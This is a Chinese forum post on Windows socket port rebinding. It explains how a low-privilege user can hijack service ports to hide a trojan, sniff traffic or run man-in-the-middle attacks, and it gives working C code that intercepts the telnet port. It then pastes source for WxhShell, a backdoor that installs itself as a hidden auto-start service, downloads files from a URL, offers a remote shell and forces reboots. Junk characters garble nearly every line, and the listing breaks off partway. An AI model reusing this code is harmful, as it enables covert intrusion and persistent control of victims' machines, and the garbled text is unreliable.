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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: s Wk92x _l  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); $_NYu  
"w.gP8`  
  saddr.sin_family = AF_INET; ;5qZQ8`4  
oUrNz#U  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); H1iewsfzH  
U_ELeW5@  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 555j@  
 ,83%18b  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ?5(Cwy ?  
z+IBy+  
  这意味着什么?意味着可以进行如下的攻击: w.w(*5[  
YCr:nYm<f  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 7 lc -  
"J|{'k`  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) (Tt\6-  
CX/ _\0 G4  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 d>[=]  
k I  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  (/TYET_H  
xwK{}==U  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ]E/^(T-O  
Dy`;]-b6u  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 / i[F  
~>v v9-_  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 57 (bd0@8  
$m{-I=  
  #include UXpF$=  
  #include }pqnF53  
  #include F(+,M~  
  #include    1vw [{.wC  
  DWORD WINAPI ClientThread(LPVOID lpParam);   z2'3P{#s  
  int main() C s XV0  
  { 4e OS+&  
  WORD wVersionRequested; /BEE.`6yI5  
  DWORD ret; -JgN$Sf  
  WSADATA wsaData; 1.29%O8V_  
  BOOL val; L-. +yNX)  
  SOCKADDR_IN saddr; u7  s-  
  SOCKADDR_IN scaddr; />^sGB  
  int err; Msj(>U&}+  
  SOCKET s; Sep/N"7~t  
  SOCKET sc; w)}' {]P"c  
  int caddsize; =^a Ngq  
  HANDLE mt; (lPiv+'n  
  DWORD tid;   IZ?+c@t  
  wVersionRequested = MAKEWORD( 2, 2 ); j{QzD^t  
  err = WSAStartup( wVersionRequested, &wsaData ); CshYUr -  
  if ( err != 0 ) { [_kis  
  printf("error!WSAStartup failed!\n"); WBc,/lgZ  
  return -1; ux>wa+XFa  
  } cV8Bl="gqe  
  saddr.sin_family = AF_INET; 9BW"^$  
   p1}umDb%  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 rjk{9u1a"  
u*n%cXY;J/  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); JK.<(=y\  
  saddr.sin_port = htons(23); $W}YXLFj?  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) BF)!VnJ  
  { 1nGpW$Gx  
  printf("error!socket failed!\n"); 2h=QJgpCG  
  return -1; n:dnBwY  
  } f%#q}vK-  
  val = TRUE; (r Tn6[ *  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 lqaOLZH  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ,u.G6"<  
  { jimWLF5Q5"  
  printf("error!setsockopt failed!\n"); &Ul8h,qw  
  return -1; Rda~Drz  
  } y}5:CZ  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Twq/Y07M  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 -!Ov{GHr0  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 /O`<?aP%  
Mg pjC`  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) $c^,TAN  
  { 3.0t5F<B  
  ret=GetLastError(); pUV4oyGV   
  printf("error!bind failed!\n"); fX:=_c   
  return -1; Pi/V3D) B  
  } >~+qU&'2  
  listen(s,2); $X\deJ1Hi  
  while(1) )\O;Rt(  
  { kg/<<RO  
  caddsize = sizeof(scaddr); CpGy'Ia  
  //接受连接请求 U7_1R0h  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); gPJZpaS  
  if(sc!=INVALID_SOCKET) H;D CkVL  
  { 1 r9.JS  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); zEBUR%9  
  if(mt==NULL) NQ3EjARZt  
  { lEXER^6  
  printf("Thread Creat Failed!\n"); Mp-hNO}.Z  
  break; wf`e3S  
  } Y'&rSHI"  
  } ,#V }qSKUS  
  CloseHandle(mt); 1#Q~aY  
  } 4QZ|e{t  
  closesocket(s); pB;8yz=  
  WSACleanup(); 59k[A~)~  
  return 0; XbaUmCuh  
  }   cqd}.D  
  DWORD WINAPI ClientThread(LPVOID lpParam) $:}sm0;  
  { z%lLbKSe  
  SOCKET ss = (SOCKET)lpParam; i8nzPKF2$3  
  SOCKET sc; BbC aIt  
  unsigned char buf[4096]; +{b3A@f|F  
  SOCKADDR_IN saddr; T8t_+| ( G  
  long num; )&px[Dbx  
  DWORD val; 3'jH,17lWV  
  DWORD ret; dTTC6?yPXf  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ]tsp}M@  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ,^n5UA`PK  
  saddr.sin_family = AF_INET; &x.n>O  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); YQ$Wif:@(n  
  saddr.sin_port = htons(23); eeM$c`Y<  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) )<K3Fz Bs  
  { JqTR4[`Z\  
  printf("error!socket failed!\n"); Dkyw3*LCn%  
  return -1; ~TfN*0  
  }  8 ?4/  
  val = 100; -Cc2|~n  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) g3*J3I-O  
  { bAwFC2jO[  
  ret = GetLastError(); }trQ<*D  
  return -1;  k:i}xKu  
  } E``\Jre@  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) w f""=;  
  { \ $Q?  
  ret = GetLastError(); qBDhCE  
  return -1; vxZ :l  
  } }}X<e  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) N@x5h8  
  { /r?EY&9G  
  printf("error!socket connect failed!\n"); q /eod  
  closesocket(sc); tO~o-R  
  closesocket(ss); g^)8a;/c  
  return -1; c`s ]ciC  
  } (yO8G-Z0  
  while(1) lU8X{SV!  
  { N_o|2  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 u5I#5  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Q&`if O  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 IfzW%UL  
  num = recv(ss,buf,4096,0); rp_Aw  
  if(num>0) c4 bo  
  send(sc,buf,num,0); OhiY <  
  else if(num==0) iPK:gK3Q  
  break; !.c no&  
  num = recv(sc,buf,4096,0); )\m%&EXG{  
  if(num>0) L a8D%N  
  send(ss,buf,num,0); $*qQ/hi  
  else if(num==0) <!a%GI  
  break; _%@ri]u{ov  
  } &:[hUn8jU  
  closesocket(ss); As+^6  
  closesocket(sc); @p [ml m  
  return 0 ; X*< !_3  
  } tdOox87YK  
.`~=1 H\R"  
r 3FUddF'  
========================================================== B#, TdP]/  
['_W <  
下边附上一个代码,,WXhSHELL  CT[CM+  
JWV n@)s  
========================================================== /L; c -^  
'q7&MM'oS^  
#include "stdafx.h" 58[.]f~0  
zOn% \  
#include <stdio.h> 1qE*M7_:E>  
#include <string.h> =v6qr~  
#include <windows.h> \xjI=P'-25  
#include <winsock2.h> _r?.%] \.  
#include <winsvc.h> m~RMe9Qi  
#include <urlmon.h> / TAza9a  
Rc#c^F<  
#pragma comment (lib, "Ws2_32.lib") ?XnKKw\  
#pragma comment (lib, "urlmon.lib") UI_u:a9Q/  
`2a7y]?  
#define MAX_USER   100 // 最大客户端连接数 f"aqg/l  
#define BUF_SOCK   200 // sock buffer k~=W1R%  
#define KEY_BUFF   255 // 输入 buffer V]6CHE:BS  
HImQ.y!B  
#define REBOOT     0   // 重启 q 1~3T;Il  
#define SHUTDOWN   1   // 关机 k*|WI$  
fYiof]v@_m  
#define DEF_PORT   5000 // 监听端口 :89AYqT"  
Rd ,5 &X$  
#define REG_LEN     16   // 注册表键长度 KOit7+Q  
#define SVC_LEN     80   // NT服务名长度 b>'y[P!  
~mk>9Gp  
// 从dll定义API ,Wlw#1fP  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 1+9}Xnxb  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); d_)VeuE2  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); =@s{H +  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); DpvMY94Qh  
%3es+A@  
// wxhshell配置信息 fa 2hQJ02  
struct WSCFG { f <LRM  
  int ws_port;         // 监听端口 zdgSqv  
  char ws_passstr[REG_LEN]; // 口令 g;\_MbfP  
  int ws_autoins;       // 安装标记, 1=yes 0=no \!df)qdu  
  char ws_regname[REG_LEN]; // 注册表键名 H&=fD` Xq  
  char ws_svcname[REG_LEN]; // 服务名 g&fq)d  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 <4RP:2#  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 sG:tyvln  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 c+.?+g  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Dz<vIMLF{  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Q)93 +1]  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 [z r2\(  
N(Xg#m   
}; kA{eT  
9k3RC}dEr  
// default Wxhshell configuration gi JjE  
struct WSCFG wscfg={DEF_PORT, p&W{g $D>  
    "xuhuanlingzhe", f!13Ob<8r  
    1, P*3PDa@  
    "Wxhshell", * %w8bB  
    "Wxhshell", 2'7)D}p  
            "WxhShell Service", :0vKt 6>Sp  
    "Wrsky Windows CmdShell Service", _&K>fy3t&  
    "Please Input Your Password: ", !H4C5wDu  
  1, !f)^z9QX8  
  "http://www.wrsky.com/wxhshell.exe", r@ v&~pL  
  "Wxhshell.exe" DNGj81'c  
    }; x?n13C  
KpfQ=~'  
// 消息定义模块 g%%j"Cz1  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; f6JC>Np  
char *msg_ws_prompt="\n\r? for help\n\r#>"; k'PNfx\K  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; `c/mmS  
char *msg_ws_ext="\n\rExit."; ?.6fVSa  
char *msg_ws_end="\n\rQuit."; o>@9[F,h+  
char *msg_ws_boot="\n\rReboot..."; Ht&%`\9s  
char *msg_ws_poff="\n\rShutdown..."; _7N^<'B  
char *msg_ws_down="\n\rSave to "; %]fi;Z  
R[f@g;h  
char *msg_ws_err="\n\rErr!"; 9 $ Ud\   
char *msg_ws_ok="\n\rOK!"; d5l].%~  
c-=z<:Kf  
char ExeFile[MAX_PATH];  y aLc~K  
int nUser = 0; k*!f@ M  
HANDLE handles[MAX_USER]; BB3wG*q  
int OsIsNt; SoNT12>  
QO <.l`F  
SERVICE_STATUS       serviceStatus; ;)'  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; }J(o!2.  
9y`Vg  
// 函数声明 IpKpj"eoLy  
int Install(void); JXk<t5@D  
int Uninstall(void); +|6 u 0&R^  
int DownloadFile(char *sURL, SOCKET wsh); xL\R-H^c]  
int Boot(int flag); OG{vap)  
void HideProc(void); D0 ,t,,L  
int GetOsVer(void); 2F|06E'  
int Wxhshell(SOCKET wsl); }D*5PV%d  
void TalkWithClient(void *cs); ,xuA%CF-S  
int CmdShell(SOCKET sock); epQdj=h  
int StartFromService(void); f]DO2 r  
int StartWxhshell(LPSTR lpCmdLine); Ou wEO   
+JPHQx'W  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); N2\{h(*u  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); +=g9T`YbE  
(VB-5&b  
// 数据结构和表定义 NG\^>.8  
SERVICE_TABLE_ENTRY DispatchTable[] = ">!<OB  
{ 4=7h1qex  
{wscfg.ws_svcname, NTServiceMain}, F9 2et<y.  
{NULL, NULL} 4NRG{FZ9  
}; ~.&2N Ur  
w0Y V87  
// 自我安装 31`Eq*Y)4  
int Install(void) uYAMW{AT  
{ fSw6nEXn  
  char svExeFile[MAX_PATH]; BiCC72oig  
  HKEY key; kqt.?iJw  
  strcpy(svExeFile,ExeFile); ?@5#p*u0  
\@hq7:Q  
// 如果是win9x系统,修改注册表设为自启动 X'.*I])  
if(!OsIsNt) { l@<yC-Xd  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +WB';D  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Y^9b>H\2  
  RegCloseKey(key); 9P\R?~3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { K4j2xSGeo  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); q.Vcb!*$  
  RegCloseKey(key);   7)  
  return 0; -/gAb<=  
    } 6*%E4#4  
  } mxkv{;ad  
} -efB8)A  
else { CZ}%\2>-v  
VZEDBZ x*  
// 如果是NT以上系统,安装为系统服务 6;%Ajx  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); \. _TOE9L  
if (schSCManager!=0) CT#u+]T  
{ KXbD7N.  
  SC_HANDLE schService = CreateService t7qzAr  
  ( *;X,yEK[  
  schSCManager, 8|H^u6+yz  
  wscfg.ws_svcname, 6[SE*/E@L  
  wscfg.ws_svcdisp, MWn+e  
  SERVICE_ALL_ACCESS, c^%&-],  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , oV=~ Q#v  
  SERVICE_AUTO_START, C ehz]C  
  SERVICE_ERROR_NORMAL, 8D1+["&  
  svExeFile, _0 $W;8X  
  NULL, Ry4`Q$=:  
  NULL, tk~<tqMq  
  NULL, PYJ8\XZ1_N  
  NULL, 3v@Y"I3;  
  NULL H*VZ&{\7  
  ); >TB Rp,;r  
  if (schService!=0) m8C scC Z}  
  { ^:64(7  
  CloseServiceHandle(schService); sB'Z9  
  CloseServiceHandle(schSCManager); &#DKB#.2  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 6Cz%i 6)  
  strcat(svExeFile,wscfg.ws_svcname); 3,$G?auW  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 04P!l  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 3Q_L6Wj~  
  RegCloseKey(key); (5R_q.Wu  
  return 0; z2DjYTm[~  
    } _1U7@v:<@  
  } ebmU~6v k  
  CloseServiceHandle(schSCManager); E !}~j  
} o%V%@q H  
} $ITh)#Nj  
HqKI|^  
return 1; *7:HO{P>Y  
} j/*4Wj[  
Q=T/hb  
// 自我卸载 CZ.XEMN\  
int Uninstall(void) YpwMfl4  
{ LG> lj$hO  
  HKEY key; mCQn '{)  
<[w>Mbqj_  
if(!OsIsNt) { n1 kh8,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { YDo Vm?  
  RegDeleteValue(key,wscfg.ws_regname); 0DgEOW9H  
  RegCloseKey(key); N\Li/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { mjXO}q7  
  RegDeleteValue(key,wscfg.ws_regname); @>4=}z_e  
  RegCloseKey(key); 8@Hl0{q  
  return 0; Q]"u?Q]  
  } h Lv_ER?  
} ,!'L~{  
} iQj2aK Gs  
else { [|E|(@J  
=!Ce#p?h,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); "Z70 jkW[  
if (schSCManager!=0) 0 $_0T  
{ cs6I K6wo  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Hb|y`Ok  
  if (schService!=0) t,>j{SK~  
  { 'awZ-$#  
  if(DeleteService(schService)!=0) { MTUJsH\  
  CloseServiceHandle(schService); /By`FW Y  
  CloseServiceHandle(schSCManager); dp'xd>m  
  return 0; R7j'XU  
  } NP< {WL#  
  CloseServiceHandle(schService); l7M![Ur  
  } 4!^flKZQ  
  CloseServiceHandle(schSCManager); oNK-^N?-T  
} B`1"4[{  
} `-QY<STTP9  
y4Fuh nb>  
return 1; [yf&]0  
} g?=|kp  
<oP"kh<D4  
// 从指定url下载文件 "2a&G3}t"  
int DownloadFile(char *sURL, SOCKET wsh) AKkr )VgY  
{ |ZBHXv  
  HRESULT hr; Rd^X.  
char seps[]= "/"; _8eN^oc%  
char *token; ZclZD{%8J  
char *file; 6y d/3k  
char myURL[MAX_PATH]; 0b~{l;  
char myFILE[MAX_PATH]; NP?hoqeKs  
syR +;  
strcpy(myURL,sURL);  #:st>V_h  
  token=strtok(myURL,seps); /UAcN1K!B  
  while(token!=NULL) dB%q`7O  
  { "Nlw&+ c7  
    file=token; x;L.j7lzA;  
  token=strtok(NULL,seps); 'hn=X7  
  } @+ee0 CLT  
NiPa-yRh  
GetCurrentDirectory(MAX_PATH,myFILE); z=/xv},  
strcat(myFILE, "\\"); '<eeCe-  
strcat(myFILE, file); $Z!7@_Ys  
  send(wsh,myFILE,strlen(myFILE),0); L4?)N&V  
send(wsh,"...",3,0); ="Sa>-d o,  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); P6 & _q  
  if(hr==S_OK) &hri4p/  
return 0; uBXl ltU  
else pk5W!K  
return 1; tH\ aHU[  
;4] sP^+  
} k~+(X|!5w  
}'.k  
// 系统电源模块 <~}# Q,9  
int Boot(int flag) nm.~~h+8M  
{ h..D1(M  
  HANDLE hToken; @ %}4R`S0  
  TOKEN_PRIVILEGES tkp; 1deNrmp%  
?}D|]i34  
  if(OsIsNt) { K)!Nf.r$9  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); %e,X7W`'2  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); VM[U&g<8n  
    tkp.PrivilegeCount = 1; Dd:;8Xo  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; SC 6cFyp2  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); FsdxLMwk1  
if(flag==REBOOT) { *'&mcEpg  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Rz_fNlA  
  return 0; JDA:)[;  
} JE$aYs<(TF  
else { K9 tuiD+j  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 6x$1En  
  return 0; vsU1Lzna6@  
} ">V.nao  
  } gfW8s+  
  else { 4LfD{-_uW  
if(flag==REBOOT) { {vL4:K  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) sMhUVc4  
  return 0; Hve'Z,X  
} $%ts#56*  
else { hQT  p&  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) B]xZ 4 Y  
  return 0; .7"]/9oB  
} Eoo[)V#x{  
} (4WAoye|  
L-}6}5[  
return 1; |_7AN!7j  
} :XP/`%:  
@D3Y}nR:  
// win9x进程隐藏模块 6zGM[2  
void HideProc(void) 1oSrhUTy  
{ :s}6a23  
x=%p~$C  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); I!L`W _  
  if ( hKernel != NULL ) ,+gU^dc|hq  
  { >)&]Ss5J  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); L/U^1=Wi*O  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ~_ 8X%ut y  
    FreeLibrary(hKernel); XIAHUT5~J  
  } 'fqX^v5n  
a->;K+  
return; )M!6y%b67  
} bAsoIra  
c8^M::NI  
// 获取操作系统版本 xxsax/h  
int GetOsVer(void) "\x<Zg;  
{ 4NY}=e5  
  OSVERSIONINFO winfo; i Sm .E  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); O_M2Axm  
  GetVersionEx(&winfo); o<Esh;;*nm  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 0Q]ZS  
  return 1; v|WTm#  
  else j0XS12eM  
  return 0; KXQ &u{[<  
} xn fMx$fD  
TspuZR@2  
// 客户端句柄模块 &7i o/d\/  
int Wxhshell(SOCKET wsl) "x+o(jOy  
{ JjXuy7XQ  
  SOCKET wsh; S^Lu RF]F  
  struct sockaddr_in client; 8,0WHivg  
  DWORD myID; $y0[AB|V  
Em%0C@C  
  while(nUser<MAX_USER) CWTPf1?eB  
{ t+ ,'  
  int nSize=sizeof(client); lhx"<kR 4  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); pn:) Rq0  
  if(wsh==INVALID_SOCKET) return 1;  rk F>c  
g[NmVY-o  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); / bxu{|.  
if(handles[nUser]==0) d3m!34ml  
  closesocket(wsh); >{seaihK  
else 4dEfXrMf  
  nUser++; + Z7 L&BI  
  } pQ_EJX)  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); lR[]A  
IzuYkl}  
  return 0; y.xyr"-Q  
} %OIJ.  
Y#/mE!&  
// 关闭 socket nmH1Wg*aW  
void CloseIt(SOCKET wsh) y:m ;_U,%c  
{ R/_bk7o]H  
closesocket(wsh); yGxAur=dE  
nUser--; RjcU0$Hi  
ExitThread(0); fLtN-w6t  
} pZ@)9c  
JB <GV-l  
// 客户端请求句柄 !Qqi%  
void TalkWithClient(void *cs) )w t mc4'  
{ <-]qU}-  
c*k%r2'  
  SOCKET wsh=(SOCKET)cs; (}#8$ )  
  char pwd[SVC_LEN]; #[uDVCM  
  char cmd[KEY_BUFF]; uZg[PS=@!X  
char chr[1]; 7K5D,"D;1  
int i,j; e #5LBSP  
5}+&Em":  
  while (nUser < MAX_USER) { ,Vc>'4E-  
I<``d Ne9Q  
if(wscfg.ws_passstr) { 1Zh4)6x  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); L/[b~D>T%  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =(3Yj[>st  
  //ZeroMemory(pwd,KEY_BUFF); PXx:JZsju  
      i=0; &(Yv&j X  
  while(i<SVC_LEN) { SyB2A\A  
Fad.!%[  
  // 设置超时 mRNA,*  
  fd_set FdRead; Q| 6lp  
  struct timeval TimeOut; ]U,c`?[7#  
  FD_ZERO(&FdRead); X%Lhu6F  
  FD_SET(wsh,&FdRead); &c|3v!  
  TimeOut.tv_sec=8; 4X1!t   
  TimeOut.tv_usec=0; vOIzfwYG9  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); - K@mjN  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); pkKcTY1Fx  
Qvx[F:#Tk  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); cm'`u&S  
  pwd=chr[0]; GBvgVX<  
  if(chr[0]==0xd || chr[0]==0xa) { TdCC,/c 3  
  pwd=0; QMz6syn4u  
  break; g0Ff$-#7  
  } e!B>M{  
  i++; Od,P,t9  
    } -_KO}_  
'|7'dlW  
  // 如果是非法用户,关闭 socket n | M~C\*  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); QF74'  
} TOx >Z  
#3_t}<fX  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); r-s9]0"7~  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); E5+-N  
# GbfFoE  
while(1) { <Crbc$!OeX  
.*k$abb  
  ZeroMemory(cmd,KEY_BUFF); N+9W2n  
J/(^Z?/~P!  
      // 自动支持客户端 telnet标准   G(fS__z  
  j=0; !j8 DCVb  
  while(j<KEY_BUFF) { )L0NX^jW;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +td]g9Ie  
  cmd[j]=chr[0]; Q|7$SS6$  
  if(chr[0]==0xa || chr[0]==0xd) { {u (( y D  
  cmd[j]=0; Q{:=z6&  
  break; WZQ EBXs  
  } >At* jg48  
  j++; qGXY  
    } r?$ V;Z  
' 5xvR G  
  // 下载文件 'o]kOp@q  
  if(strstr(cmd,"http://")) { xa[)fk$6  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ?e#bq]  
  if(DownloadFile(cmd,wsh)) p&$O}AX|  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); /_[?i"GW  
  else /iw$\F |8  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 35KRJY#  
  } :lBw0{fP  
  else { )C>8B`^S  
V~ q b2$  
    switch(cmd[0]) { [aF"5G  
  %5 ovW<E:  
  // 帮助 WS6;ad;|  
  case '?': { % 4Gt^:J"  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); d^+0=_[PmK  
    break; Mpx98xcO  
  } Kn*LwWne  
  // 安装 5kik+  
  case 'i': { [C`LKA$t  
    if(Install()) <]f{X<ef  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cw/E?0MWb  
    else +'0V6 \y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O)8$aAJ)V  
    break; &[7z:`+Y##  
    } AaLbJYuKd  
  // 卸载 j@s*hZ^J+  
  case 'r': { 9U4 D$M  
    if(Uninstall()) g%_ 3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >K!$@]2F  
    else T$"sw7<  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); d<cqY<y VA  
    break; W P9PX  
    } hYbaVE  
  // 显示 wxhshell 所在路径 nt_FqUJ  
  case 'p': { W+I""I*mV  
    char svExeFile[MAX_PATH]; bk|?>yd  
    strcpy(svExeFile,"\n\r"); !<vy!pXg  
      strcat(svExeFile,ExeFile); /d*[za'0  
        send(wsh,svExeFile,strlen(svExeFile),0); p5aqlYb6r  
    break; nIWY<Z"  
    } Vtv~jJ{m  
  // 重启 ]YrgkC35  
  case 'b': { 9T_fq56Oh6  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); rtdEIk  
    if(Boot(REBOOT))  Pm"nwm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  OK(xG3T  
    else { ~X(2F#{<{  
    closesocket(wsh); AD~_n ^  
    ExitThread(0); B8~bx%)3T  
    } zyB>peAp6j  
    break; INEE 37%  
    } Z]XjN@j"  
  // 关机 .#}A/V.-Y  
  case 'd': { ! NJGW  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); TDX~?> P  
